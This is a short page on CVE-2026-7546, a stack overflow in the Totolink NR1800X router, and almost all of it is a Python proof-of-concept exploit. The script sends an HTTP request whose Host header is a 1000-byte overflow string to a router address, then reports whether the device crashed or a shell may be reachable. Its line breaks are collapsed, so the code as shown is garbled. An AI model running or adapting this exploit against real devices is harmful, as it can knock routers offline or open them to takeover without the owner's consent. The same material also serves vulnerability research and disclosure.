CVE-2026-7546 Totolink NR1800X栈溢出漏洞

import requests import sys # Target configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/" # Generate payload to trigger stack overflow # Adjust length based on specific buffer size (e.g., 1000 bytes) payload = "A" * 1000 # Malicious header headers = { "Host": payload, "User-Agent": "CVE-2026-7546-POC" } def exploit(): try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, headers=headers, timeout=5) print(f"[!] Request sent. Status code: {response.status_code}") print("[*] Check if the device has crashed or if shell is accessible.") except requests.exceptions.Timeout: print("[!] Connection timed out. The device may have crashed due to buffer overflow.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()